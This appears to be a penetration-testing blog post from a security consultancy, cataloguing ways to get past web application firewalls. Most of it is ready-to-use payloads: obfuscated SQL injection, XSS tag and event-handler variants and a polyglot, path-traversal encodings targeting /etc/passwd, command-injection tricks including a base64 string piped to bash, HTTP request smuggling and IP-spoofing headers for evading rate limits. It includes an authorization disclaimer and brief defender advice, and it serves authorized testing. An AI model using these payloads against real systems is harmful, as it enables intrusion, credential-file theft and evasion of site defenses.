Bypassing WAFs: Tricks from the Field
Web Application Firewalls (WAFs) are a common defense, but they're not perfect. Understanding bypass techniques is essential for effective penetration testing.
Disclaimer: Only use these techniques on systems you have authorization to test.
Understanding WAFs
How WAFs Work
Signature-based detection:
- Pattern matching against known attacks
- Regex rules for malicious patterns
- Blacklist of dangerous strings
Behavior-based detection:
- Anomaly detection
- Rate limiting
- Request pattern analysis
Common WAFs
- AWS WAF
- Cloudflare
- Akamai
- Imperva
- ModSecurity
- F5
General Bypass Techniques
1. Case Manipulation
WAFs often use case-sensitive patterns:
-- Original (blocked)
SELECT * FROM users
-- Bypasses
SeLeCt * FrOm users
select * from users
SELECT/**/**/FROM/**/users
2. Encoding
URL Encoding:
# Original
<script>alert(1)</script>
# URL encoded
%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Double URL encoded
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Unicode Encoding:
# Original: <script>
%u003Cscript%u003E
\u003Cscript\u003E
Hex Encoding:
# Original: admin
0x61646d696e
SELECT * FROM users WHERE username=0x61646d696e
3. Comments as Separators
SQL:
-- Original
UNION SELECT
-- With comments
UN/**/ION/**/SEL/**/ECT
UN/*bypass*/ION/*waf*/SEL/*here*/ECT
/*!UNION*/ /*!SELECT*/
HTML:
<!-- Original -->
<script>alert(1)</script>
<!-- With comments -->
<scr<!--comment-->ipt>alert(1)</scr<!--comment-->ipt>
4. Whitespace Alternatives
SQL:
-- Spaces replaced
UNION%09SELECT
UNION%0ASELECT
UNION%0DSELECT
UNION%0CSELECT
HTML/JavaScript:
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>
5. Null Bytes
# Original
../../../etc/passwd
# With null byte
../../../etc/passwd%00
../../../etc/passwd%00.jpg
SQL Injection Bypasses
Alternative Syntax
-- UNION alternatives
UNION ALL SELECT
UNION DISTINCT SELECT
-- OR alternatives
|| 1=1
OR 1
OR true
OR 'a'='a'
-- AND alternatives
&& 1=1
AND 1
AND true
Function Alternatives
-- CONCAT alternatives
CONCAT('a','b')
'a' || 'b'
'a' 'b' (MySQL)
-- SUBSTRING alternatives
SUBSTRING(str,1,1)
SUBSTR(str,1,1)
MID(str,1,1)
LEFT(str,1)
Obfuscation Techniques
-- String concatenation
SELECT 'admin' → SEL'+'ECT 'adm'+'in'
-- Char function
SELECT CHAR(65) → A
SELECT CHAR(97,100,109,105,110) → admin
-- Hex
SELECT 0x61646d696e → admin
-- Commenting
SELECT/**/username/**/FROM/**/users
WAF-Specific Bypasses
ModSecurity:
-- Core Rule Set bypass attempts
1' and/**/ extractvalue(1,concat(0x7e,version()))--
/*!50000UNION*//*!50000SELECT*/
MySQL specific:
-- Version comments
/*!50000SELECT*/ * FROM users
1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
XSS Bypasses
Tag Variations
<!-- Original -->
<script>alert(1)</script>
<!-- Variations -->
<Script>alert(1)</Script>
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>
<script >alert(1)</script>
<script/x>alert(1)</script>
Event Handler Alternatives
<!-- Common events often blocked -->
onerror, onclick, onload
<!-- Less common events -->
<body onpageshow=alert(1)>
<body onfocus=alert(1) autofocus>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<details open ontoggle=alert(1)>
Attribute Breaking
<!-- Quote variations -->
<img src=x onerror=alert(1)>
<img src='x' onerror='alert(1)'>
<img src="x" onerror="alert(1)">
<img src=`x` onerror=`alert(1)`>
JavaScript Protocol
<a href="javascript:alert(1)">Click</a>
<a href="java script:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
Template Literals
// Avoid parentheses
alert`1`
setTimeout`alert\x281\x29`
SVG-Based XSS
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg onload=alert(1)//
<svg><script>alert(1)</script></svg>
Polyglot Payloads
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//
Path Traversal Bypasses
Encoding Variations
# Standard
../../../etc/passwd
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
# Unicode
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
# UTF-8 overlong encoding
..%c0%2f..%c0%2f..%c0%2fetc%c0%2fpasswd
Path Normalization
/etc/passwd
/etc//passwd
/etc/./passwd
/etc/../etc/passwd
/var/www/../../etc/passwd
Null Byte Injection
../../../etc/passwd%00
../../../etc/passwd%00.png
../../../etc/passwd%00.jpg
Command Injection Bypasses
Character Alternatives
# Spaces
cat${IFS}etc${IFS}passwd
cat$IFS/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# Separators
;id
|id
||id
&&id
`id`
$(id)
# Newlines
%0aid
Command Obfuscation
# String manipulation
cat /etc/pas'swd'
cat /etc/pas"swd"
cat /etc/pass\wd
# Base64
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# Variables
a=c;b=at;c=/etc/passwd;$a$b $c
# Wildcards
/???/??t /???/p?ss??
# Environment variables
$PATH
HTTP Parameter Pollution
Duplicate Parameters
# Backend might use first, last, or combine
?id=1&id=2
?id=1&ID=2
# Different frameworks handle differently:
# PHP: Last value
# ASP.NET: Comma-joined
# Python: First value
Array Parameters
?id[]=1&id[]=2
?id=1&id=2
?arr[0]=1&arr[1]=2
Request Smuggling for WAF Bypass
CL.TE Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
The WAF sees one request, the backend sees two.
Rate Limit Bypasses
Header Manipulation
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Request Variation
# Path case
/ADMIN vs /admin vs /Admin
# Path encoding
/admin vs /%61dmin
# Double slashes
//admin vs /admin
Tools for WAF Testing
WAF Detection
# wafw00f
wafw00f https://target.com
# nmap
nmap --script http-waf-detect target.com
Automated Bypass
# SQLMap tamper scripts
sqlmap -u "url" --tamper=space2comment,between
# Available tampers
sqlmap --list-tampers
Manual Testing
- Identify WAF (wafw00f, error messages)
- Test baseline requests
- Identify blocked patterns
- Apply bypass techniques systematically
- Document working payloads
Best Practices
For Testers
- Understand the WAF — Different WAFs need different approaches
- Start simple — Try basic bypasses first
- Be systematic — Test each bypass technique
- Document everything — Track what works
- Stay legal — Only test with authorization
For Defenders
- Defense in depth — WAF is one layer
- Regular updates — Keep rules current
- Custom rules — Application-specific protection
- Logging — Detect bypass attempts
- Fix root causes — Don't rely only on WAF
Need help with web application security testing? Contact us: m1k3@msquarellc.net